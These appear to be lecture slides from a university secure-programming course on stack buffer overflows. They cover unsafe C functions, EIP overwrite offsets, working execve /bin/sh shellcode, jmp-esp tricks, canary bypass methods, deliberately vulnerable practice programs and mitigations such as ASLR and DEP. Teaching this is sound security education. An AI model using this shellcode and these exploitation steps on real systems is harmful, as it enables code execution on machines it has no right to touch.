

# Secure Programming

## Smashing the Stack

- What is buffer overflow?
- How buffer overflow happens?
- Exploit stack-based buffer overflow

# Buffer Overflow

- 在對變數做操作時,沒有檢查邊界就直接寫入
  - 後面的資料被覆蓋
  - 程式Crash

```
cychao@CatKali:~/ctf/nctu/slide$ ./foo aaaaaaaaaaaaaaaaaaaaaaaaaa  
Segmentation fault  
cychao@CatKali:~/ctf/nctu/slide$ █
```

# Different Crash

- 覆蓋指標 -> 記憶體 讀/寫 錯誤

```
Starting program: /home/cychao/ctf/nctu/slide/a.out
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0xb7ed9b80 in strcpy () from /lib/i386-linux-gnu/i686/cmov/libc.so.6  
(gdb) █
```

- 覆蓋EIP -> 執行錯誤

```
Starting program: /home/cychao/ctf/nctu/slide/a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0x00616161 in ?? ()  
(gdb) █
```

# How Buffer Overflow happens

- Use unsafe function
- Copy data without boundary check

# Unsafe function

- gets
- scanf
- sprintf
- strcpy
- strcat

# Use safe function

- ~~gets~~ -> fgets
- ~~scanf~~ -> never use scanf(%s)
- ~~sprintf~~ -> snprintf
- ~~strcpy~~ -> strncpy
- ~~strcat~~ -> strncat

# Copy data with inappropriate boundary check (1)

- Size relies on user input

```
if (!(png_ptr->mode & PNG_HAVE_PLTE)) {  
    /* Should be an error, but we can cope with it */  
    png_warning(png_ptr, "Missing PLTE before tRNS");  
}  
else if (length > (png_uint_32)png_ptr->num_palette) {  
    png_warning(png_ptr, "Incorrect tRNS chunk length");  
    png_crc_finish(png_ptr, length);  
    return;  
}  
...  
png_crc_read(png_ptr, readbuf, (png_size_t)length);
```



# Copy data with inappropriate boundary check (2)

- Off-by-one

```
void foo (char *s)
{
    char buf[15];
    memset(buf, 0, sizeof(buf));
    strncat(buf, s, sizeof(buf)); // Final parameter should be: sizeof(buf)-1
}
```

- Integer overflow


```
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++)
        response[i] = packet_get_string(NULL);
}
```

# Stack-based buffer overflow

- 控制程式執行流程 - Overwrite EIP
- Writing Shellcode
- Locating Stack/Library address
- Executing Arbitrary Code

# Overwrite EIP

- 利用 overflow 覆蓋前一函式的 Return Address



# Offset from Variable to EIP

- ~~EIP offset = 12 (buf) + 4 (ebp)~~

```
#include <string.h>


void foo (char *bar)
{
    char c[12];

    strcpy(c, bar); // no bounds checking
}

int main (int argc, char **argv)
{
    foo(argv[1]);
}
```

# Offset from Variable to EIP

- $EIP = EBP + 4$
- $buf[0] = EBP - 20$
- $input \Rightarrow A * 24 + EIP$



0804841c <foo>:

```

804841c: 55
804841d: 89 e5
804841f: 83 ec 28
8048422: 8b 45 08
8048425: 89 44 24 04
8048429: 8d 45 ec
804842c: 89 04 24
804842f: e8 cc fe ff ff
8048434: c9
8048435: c3
    
```

```

push    %ebp
mov     %esp,%ebp
sub     $0x28,%esp
mov     0x8(%ebp),%eax
mov     %eax,0x4(%esp)
lea    -0x14(%ebp),%eax
mov     %eax,(%esp)
call   8048300 <strcpy@plt>
leave
ret
    
```

`strcpy(&ebp-0x14 , input)`

# Stack-based buffer overflow

- 控制程式執行流程 - Overwrite EIP
- Writing Shellcode
- Locating Stack/Library address
- Executing Arbitrary Code

# What is Shellcode?

- ~~shellscript code~~
- Machine code can directly executed

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"  
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
```

```
xor    %eax,%eax  
push   %eax  
push   $0x68732f2f  
push   $0x6e69622f  
mov    %esp,%ebx  
push   %eax  
push   %ebx  
mov    %esp,%ecx  
mov    $0xb,%al  
int    $0x80
```

# Shellcode database

- 找現成的shellcode來用
- 需注意作業系統與指令架構
- <http://shell-storm.org/shellcode/>

```
Cso
• Cso/x86 - execve(/bin/sh, ..., NULL) - 43 bytes by minervini

FreeBSD
Intel x86-64
• FreeBSD/x86-64 - execve - 28 bytes by Gitsnik
• FreeBSD/x86-64 - bind_tcp with passcode - 127 bytes by Gitsnik
• FreeBSD/x86-64 - exec(/bin/sh) Shellcode - 31 bytes by Hack'n Roll
• FreeBSD/x86-64 - execve /bin/sh shellcode 34 bytes by Hack'n Roll
• FreeBSD/x86-64 - Execve /bin/sh - Anti-Debugging by c0d3_z3r0
Intel x86
• FreeBSD/x86 - execve /tmp/sh - 34 bytes by Claes M. Nyberg
• FreeBSD/x86 - execve /bin/sh 23 bytes by IZ
• FreeBSD/x86 - reboot(RB_AUTOBOOT) - 7 bytes by IZ
• FreeBSD/x86 - bind port:4883 with auth shellcode by MahDelin
• FreeBSD/x86 - Connect Back Port 6969 - 133 bytes by Marceletam
• FreeBSD/x86 - connect back /bin/sh. 81 bytes by Tosh
• FreeBSD/x86 - execv(/bin/sh) - 23 bytes by Tosh
• FreeBSD/x86 - portbind shell + fork - 111 bytes by Tosh
```

```
char setreuidcode[] =
"\x31\xc0"          /* xor %eax,%eax */
"\x50"             /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (/sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/

"\x89\xe3"        /* mov %esp,%ebx */
"\x50"           /* push %eax */
"\x54"           /* push %esp */
"\x53"           /* push %ebx */

"\x50"           /* push %eax */
"\xb0\x3b"       /* mov $0x3b,%al */
"\xcd\x80";      /* int $0x80 */

void main()
{
    int*    ret;

    ret = (int*) &ret + 2;

    printf("len %d\n",strlen(setreuidcode));

    (*ret) = (int) setreuidcode;
}
```



# Testing and debug Shellcode

- Execute and trace it!
  - `strace ./a.out`

```
#include <stdio.h>
#include <string.h>

char *shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6f\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    fprintf(stdout, "Length: %d\n", strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}
```

```
136604(10, {st_mode=S_IFCHR|0620, st_rdev=makedev(1, 1)}, 1452408)
mmap2(NULL, 1452408, PROT_READ|PROT_EXEC, MAP_PRIVATE, -1, 0) = 0
mprotect(0xb7fbd000, 4096, PROT_NONE) = 0
mmap2(0xb7fbe000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE, -1, 0) = 0
mmap2(0xb7fc1000, 10616, PROT_READ|PROT_WRITE, MAP_PRIVATE, -1, 0) = 0
close(10) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE, -1, 0) = 0
set_thread_area({entry_number:-1 -> 6, base_addressable:1}) = 0
mprotect(0xb7fbe000, 8192, PROT_READ) = 0
mprotect(0xb7ffe000, 4096, PROT_READ) = 0
munmap(0xb7fc4000, 106842) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(1, 1)}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE, -1, 0) = 0
write(1, "Length: 23\n", 11Length: 23) = 11
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Segmentation fault
```

# Write your own shellcode

- `nasm -f bin -o sc.bin sc.asm`

- `xxd -i sc.bin`

```
BITS 32
global _start

_start:
xor    eax,eax
push  eax
push  0x68732f2f
push  0x6e69622f
mov   ebx,esp
push  eax
push  ebx
mov   ecx,esp
mov   al, 0xb
int   0x80
```

```
cychao@CatKali:~/ctf/nctu/slide$ nasm -f bin -o binsh.bin binsh.s && xxd -i binsh.bin
unsigned char binsh_bin[] = {
    0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69,
    0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80
};
unsigned int binsh_bin_len = 23; _
```

- Ref: <http://www.vividmachines.com/shellcode/shellcode.html>

# Position Independent

- 因shellcode放進去後不能確定位置
  - 所有jmp, call都必須使用相對位置
- 沒有ASLR的程式/函式庫的資料可以用絕對位置

# Null Free shellcode

- `xor eax,eax ; \x31\xc0 => set eax=0`
- `shr eax,0x8 ; set eax = 0x00xxxxxx`
- `push(b|w) ; push byte/word without zero padding`

# Alphanumeric shellcode

- Shellcode with 0-9 a-z A-Z
  - use printable opcode
  - xor encode/decode

21		AND [m16/32],r16/32	41	A	INC CX/ECX	61	a	POPAM
22	*	AND r8,[m8]	42	B	INC DX/EDX	62	b	BOUND
23	#	AND r16/32,[m16/32]	43	C	INC BX/EBX	63	c	ARPL
24	\$	AND AL,i8	44	D	INC SP/ESP	64	d	PS: PF
25	%	AND AX/EAX,i16/32	45	E	INC BP/EBP	65	e	GS: PF
26	&	ES: PREFIX	46	F	INC SI/ESI	66	f	OPER
27	'	DAA	47	G	INC DI/EDI	67	g	ADDR
28	(	SUB [m8],r8	48	H	DEC AX/EAX	68	h	PUSH
29	)	SUB [m16/32],r16/32	49	I	DEC CX/ECX	66 68	fh	PUSH
2A	*	SUB r8,[m8]	4A	J	DEC DX/EDX	69	i	IMUL
2B	+	SUB r16/32,[m16/32]	4B	K	DEC BX/EBX	66 69	fi	IMUL
2C	,	SUB AL,i8	4C	L	DEC SP/ESP	6A	j	PUSH
2D	-	SUB AX/EAX,i16/32	4D	M	DEC BP/EBP	6B	k	IMUL
2E	.	CS: PREFIX	4E	N	DEC SI/ESI	66 6B	fk	IMUL
2F	/	DAS	4F	O	DEC DI/EDI	6C	l	INSB
30	0	XOR [m8],r8	50	P	PUSH AX/EAX	6D	m	INSW/I
31	1	XOR [m16/32],r16/32	51	Q	PUSH CX/ECX	6E	n	OUTSB
32	2	XOR r8,[m8]	52	R	PUSH DX/EDX	6F	o	OUTSW
33	3	XOR r16/32,[m16/32]	53	S	PUSH BX/EBX	70	p	JO o8
34	4	XOR AL,i8	54	T	PUSH SP/ESP	71	q	JNO o8
35	5	XOR AX/EAX,i16/32	55	U	PUSH BP/EBP	72	r	JB o8
36	6	SS: PREFIX	56	V	PUSH SI/ESI	73	s	JAE o8
37	7	AAA	57	W	PUSH DI/EDI	74	t	JE o8
38	8	CMP [m8],r8	58	X	POP AX/EAX	75	u	JNE o8
39	9	CMP [m16/32],r16/32	59	Y	POP CX/ECX	76	v	JBE o8
			5A	Z	POP BX/EBX	77	w	JA o8

# Practice 1

- Executing arbitrary code with address information
  - `secprog.cs.nctu.edu.tw:10101`
  - `gcc -fno-stack-protector -z execstack`
  - <http://ppt.cc/SU8E>

```
#include <string.h>
#include <stdio.h>

void foo (char *bar)
{
    char c[12];

    strcpy(c, bar); // no bounds checking
    printf("Your input is: (%x) %s\n", &c, c);
}

int main (int argc, char **argv)
{
    char buf[4096];
    fgets(buf, 4096, stdin);
    foo(buf);
}
```

# Stack-based buffer overflow

- 控制程式執行流程 - Overwrite EIP
- Writing Shellcode
- Landing shellcode/library
- Executing Arbitrary Code

# Leak information

- Overwrite string's null byte
- Overwrite pointer to leak information
- Call write/print ... to get memory data




# Bruteforce

- `nop-sled * n`
- `\xef\xfe ; infinite loop`
- `while(1)`

`0xbfbf0000+i*n`


`i++`



# Jmp esp

- find “jmp esp” in text/library
- grep “\xff\xe4”

ESP after return



```
$ objdump -D ./a.out | grep "jmp    \*\%esp"  
8048530:          ff e4          jmp    *\%esp  
$ █
```

# Practice 2

- Executing arbitrary code without address info
  - `secprog.cs.nctu.edu.tw:10102`
  - `gcc -fno-stack-protector -z execstack`
  - <http://popt.cc/yK6M>

```
#include <string.h>
#include <stdio.h>

const char jmp[3] = "\xff\xe4\x00";
void foo (char *bar)
{
    char c[12];

    strcpy(c, bar); // no bounds checking
    printf("Your input is: %s\n", &c, c);
}

int main (int argc, char **argv)
{
    char buf[4096];
    fgets(buf, 4096, stdin);
    foo(buf);
}
```

# Stack-based buffer overflow

- 控制程式執行流程 - Overwrite EIP
- Writing Shellcode
- Locating Stack/Library address
- Executing Arbitrary Code


# Mitigation

- Stack Guard
- Data Execution Prevention
- Address Space Layout Randomization

# Stack Guard

- gcc -fstack-protector
- 程式啟動時產生一組亂數 Canaries
- 函式呼叫時將 Canaries放在EIP前面
- 返回時檢查Canaries是否一樣

```
8b 45 f4      mov    -0xc(%ebp),%eax
65 33 05 14 00 00 00  xor    %gs:0x14,%eax
74 05        je     80484e9 <foo+0x4d>
e8 87 fe ff ff  call  8048370 <__stack_chk_fail@plt>
c9          leave
c3          ret
```



- Disable stack guard : gcc -fno-stack-protector

# Brute force

- 若 input 不會補上 null byte , 且程式是 fork 出來的
- 先蓋最低 bytes , 0x00 ~ 0xff 找出不會 segmantation fault 的 Byte
- 再蓋下 1 byte, 直到 4 byte canaries 都爆出

=> bypass



# Skip Canaries

- 跳過Canaries Bytes, 直接寫入 EIP or GOT
  - 需能控制一個能寫入的指標
  - 將指標指向EIP or GOT
  - 直接寫入, 不更動Canaries

=> bypass



# Leak it

- 用前面提到的方式, 將 Canaries 泄露
    - 程式執行起來後 Canaries 固定
    - 在同一次連線直接exploit
- => bypass

# Practice 3

- Exploit bof with stack guard protection
- secprog.cs.nctu.edu.tw:10103
- gcc -z execstack
- <http://popt.cc/aVWF>

```
#include <string.h>
#include <stdio.h>

const char jmp[3] = "\xff\xe4\x00";
void foo (char *bar)
{
    char c[12];

    memcpy(c, bar, strlen(bar));
    printf("Your input is: %s\n", c);
    fgets(c, 128, stdin);
}

int main (int argc, char **argv)
{
    char buf[4096];
    fgets(buf, 4096, stdin);
    foo(buf);
}
```

# Mitigation

- Stack Guard
- Data Execution Prevention
- Address Space Layout Randomization

# Data Execution Prevention

- Set memory space to executable or non-executable(NX)

```
cychao@CatKali:~/ctf/nctu$ cat /proc/11844/maps
08048000-08049000) r-xp 00000000 08:01 202542 /home/cychao/ctf/nctu/slide/foo
08049000-0804a000 rw-p 00000000 08:01 202542 /home/cychao/ctf/nctu/slide/foo
b7e60000-b7e61000 rw-p 00000000 00:00 0
b7e61000-b7fbd000 r-xp 00000000 08:01 392370 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fbd000-b7fbe000 ---p 0015c000 08:01 392370 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fbe000-b7fc0000 r--p 0015c000 08:01 392370 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc0000-b7fc1000 rw-p 0015e000 08:01 392370 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc1000-b7fc4000 rw-p 00000000 00:00 0
b7fdf000-b7fe1000 rw-p 00000000 00:00 0
b7fe1000-b7fe2000 r-xp 00000000 00:00 0 [vdso]
b7fe2000-b7ffe000 r-xp 00000000 08:01 392406 /lib/i386-linux-gnu/ld-2.13.so
b7ffe000-b7fff000 r--p 0001b000 08:01 392406 /lib/i386-linux-gnu/ld-2.13.so
b7fff000-b8000000 rw-p 0001c000 08:01 392406 /lib/i386-linux-gnu/ld-2.13.so
bffd000-c0000000) rw-p 00000000 00:00 0 [stack]
cychao@CatKali:~/ctf/nctu$
```

# Mitigation

- Stack Guard
- Data Execution Prevention
- Address Space Layout Randomization

# ASLR

- 程式的執行段及函式庫使用隨機的位置載入
- 防止 Return to libc / ROP 等攻擊

```
root@bt:~# gcc -fPIE -pie geteip.c -o getEIP
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# ldd getEIP
linux-gate.so.1 => (0xb778a000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb761a000)
/lib/ld-linux.so.2 (0xb778b000)
root@bt:~# ldd getEIP
linux-gate.so.1 => (0xb772c000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75bc000)
/lib/ld-linux.so.2 (0xb772d000)
root@bt:~# ./getEIP
EIP located at: 0xb77ef57c
root@bt:~# ./getEIP
EIP located at: 0xb772e57c
root@bt:~# ./getEIP
EIP located at: 0xb77b657c
root@bt:~#
```